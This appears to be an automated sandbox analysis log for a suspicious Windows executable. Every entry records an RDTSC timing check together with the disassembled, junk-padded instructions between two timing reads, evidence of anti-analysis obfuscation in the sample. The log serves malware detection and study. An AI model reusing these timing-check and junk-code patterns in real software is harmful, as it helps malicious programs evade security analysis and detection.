Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 96F5AE second address: 96F5D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C859h 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FA454E2C846h 0x0000000f jno 00007FA454E2C846h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 97002D second address: 970045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FA454545C5Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 974C7C second address: 974C80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 974C80 second address: 974C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 97496D second address: 974985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454E2C852h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 97FEA7 second address: 97FEAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 97FEAB second address: 97FEB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 983AAE second address: 983AB8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA454545C56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9860BD second address: 9860C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9860C3 second address: 9860DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454545C5Ch 0x00000009 popad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 985F57 second address: 985F8E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FA454E2C856h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 jmp 00007FA454E2C852h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 992C29 second address: 992C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007FA454545C56h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 992C39 second address: 992C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9927F3 second address: 992818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454545C63h 0x00000009 popad 0x0000000a push esi 0x0000000b jmp 00007FA454545C5Bh 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 992818 second address: 992827 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 992827 second address: 992848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454545C5Ah 0x00000009 jnc 00007FA454545C56h 0x0000000f popad 0x00000010 jl 00007FA454545C5Ch 0x00000016 ja 00007FA454545C56h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 994265 second address: 994273 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C84Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9ABAA2 second address: 9ABAA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AAB7B second address: 9AAB81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AAE01 second address: 9AAE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FA454545C60h 0x0000000b ja 00007FA454545C56h 0x00000011 jmp 00007FA454545C65h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jg 00007FA454545C56h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AAE3F second address: 9AAE43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB2B5 second address: 9AB2BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB2BB second address: 9AB2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454E2C851h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB2D2 second address: 9AB2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB2D7 second address: 9AB30E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C84Bh 0x00000007 jnc 00007FA454E2C84Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA454E2C853h 0x00000017 jnl 00007FA454E2C846h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB30E second address: 9AB341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA454545C66h 0x0000000b jmp 00007FA454545C64h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB4CA second address: 9AB50E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FA454E2C86Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FA454E2C84Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB50E second address: 9AB513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB513 second address: 9AB519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB519 second address: 9AB51D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB7E3 second address: 9AB7F2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA454E2C846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB7F2 second address: 9AB7F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9AB7F8 second address: 9AB80A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA454E2C846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FA454E2C84Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B14BA second address: 9B14BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B1898 second address: 9B18BC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FA454E2C857h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B18BC second address: 9B18E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 nop 0x00000007 pushad 0x00000008 push edi 0x00000009 add dword ptr [ebp+122D2CE1h], ebx 0x0000000f pop eax 0x00000010 popad 0x00000011 mov edx, edi 0x00000013 push dword ptr [ebp+122D30A6h] 0x00000019 call 00007FA454545C59h 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B18E3 second address: 9B1916 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA454E2C846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push ebx 0x0000000d jmp 00007FA454E2C857h 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jo 00007FA454E2C846h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B1916 second address: 9B191A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B191A second address: 9B1920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B1920 second address: 9B192E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B192E second address: 9B193B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FA454E2C846h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B193B second address: 9B194F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edi 0x0000000c jc 00007FA454545C5Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B2ECF second address: 9B2EFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454E2C858h 0x00000009 jmp 00007FA454E2C851h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B4E6F second address: 9B4E9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Ch 0x00000007 push esi 0x00000008 jmp 00007FA454545C67h 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B4E9D second address: 9B4EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B4EA3 second address: 9B4ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454545C69h 0x00000009 popad 0x0000000a jmp 00007FA454545C67h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9B4ED8 second address: 9B4EE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C3613 second address: 8C3617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E6031B second address: 4E603BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA454E2C851h 0x00000008 pushfd 0x00000009 jmp 00007FA454E2C850h 0x0000000e xor esi, 5B8D1668h 0x00000014 jmp 00007FA454E2C84Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FA454E2C854h 0x00000025 or cx, E8C8h 0x0000002a jmp 00007FA454E2C84Bh 0x0000002f popfd 0x00000030 movzx esi, di 0x00000033 popad 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007FA454E2C857h 0x0000003e sub ch, FFFFFFBEh 0x00000041 jmp 00007FA454E2C859h 0x00000046 popfd 0x00000047 pushad 0x00000048 popad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E603BD second address: 4E603CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454545C5Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E603CB second address: 4E603F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov dl, A6h 0x0000000c mov edi, esi 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 jmp 00007FA454E2C850h 0x00000016 mov edx, dword ptr [ebp+0Ch] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ecx, ebx 0x0000001e mov ch, dl 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E806B7 second address: 4E806BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E806BD second address: 4E806C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E806C1 second address: 4E806EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FA454545C5Ch 0x00000010 xor si, 8CB8h 0x00000015 jmp 00007FA454545C5Bh 0x0000001a popfd 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E806EC second address: 4E80727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 movzx eax, di 0x0000000b mov eax, edi 0x0000000d popad 0x0000000e mov ebp, esp 0x00000010 jmp 00007FA454E2C855h 0x00000015 xchg eax, ecx 0x00000016 jmp 00007FA454E2C84Eh 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80727 second address: 4E8072B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E8072B second address: 4E80731 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80731 second address: 4E80737 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80737 second address: 4E8073B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E8073B second address: 4E8073F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E8073F second address: 4E8077C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007FA454E2C859h 0x00000012 adc cx, 3CC6h 0x00000017 jmp 00007FA454E2C851h 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E8077C second address: 4E807AE instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA454545C60h 0x00000008 sbb ah, 00000068h 0x0000000b jmp 00007FA454545C5Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov ax, 875Fh 0x00000017 popad 0x00000018 xchg eax, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov esi, edi 0x0000001e mov al, bh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E807AE second address: 4E8080F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA454E2C84Bh 0x00000009 xor cx, 995Eh 0x0000000e jmp 00007FA454E2C859h 0x00000013 popfd 0x00000014 push esi 0x00000015 pop edx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a jmp 00007FA454E2C84Dh 0x0000001f xchg eax, esi 0x00000020 jmp 00007FA454E2C84Eh 0x00000025 lea eax, dword ptr [ebp-04h] 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FA454E2C84Ah 0x00000031 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E8080F second address: 4E8081E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E8081E second address: 4E80824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80824 second address: 4E80828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80828 second address: 4E8083A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ax, bx 0x0000000f mov ecx, edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E8083A second address: 4E8084B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454545C5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E8084B second address: 4E80870 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA454E2C858h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80870 second address: 4E80876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E808A6 second address: 4E808AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E808AC second address: 4E808FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FA454545C5Eh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e cmp dword ptr [ebp-04h], 00000000h 0x00000012 pushad 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 popad 0x00000018 mov esi, eax 0x0000001a jmp 00007FA454545C62h 0x0000001f je 00007FA454545D50h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 call 00007FA454545C5Dh 0x0000002d pop ecx 0x0000002e push ebx 0x0000002f pop ecx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70198 second address: 4E701B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454E2C854h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E701B0 second address: 4E701D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FA454545C5Eh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA454545C5Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E701D6 second address: 4E701E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C84Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E701E5 second address: 4E701FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov di, D808h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA454545C5Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E701FF second address: 4E70211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454E2C84Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70211 second address: 4E702C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 2Ch 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FA454545C64h 0x00000015 sbb ch, FFFFFFC8h 0x00000018 jmp 00007FA454545C5Bh 0x0000001d popfd 0x0000001e pushad 0x0000001f push eax 0x00000020 pop edx 0x00000021 mov edx, esi 0x00000023 popad 0x00000024 popad 0x00000025 xchg eax, ebx 0x00000026 pushad 0x00000027 mov bh, al 0x00000029 jmp 00007FA454545C5Fh 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 movsx ebx, cx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FA454545C5Eh 0x0000003b adc eax, 00F78188h 0x00000041 jmp 00007FA454545C5Bh 0x00000046 popfd 0x00000047 call 00007FA454545C68h 0x0000004c pop esi 0x0000004d popad 0x0000004e popad 0x0000004f xchg eax, ebx 0x00000050 jmp 00007FA454545C61h 0x00000055 xchg eax, edi 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E702C0 second address: 4E702C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E702C4 second address: 4E702CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
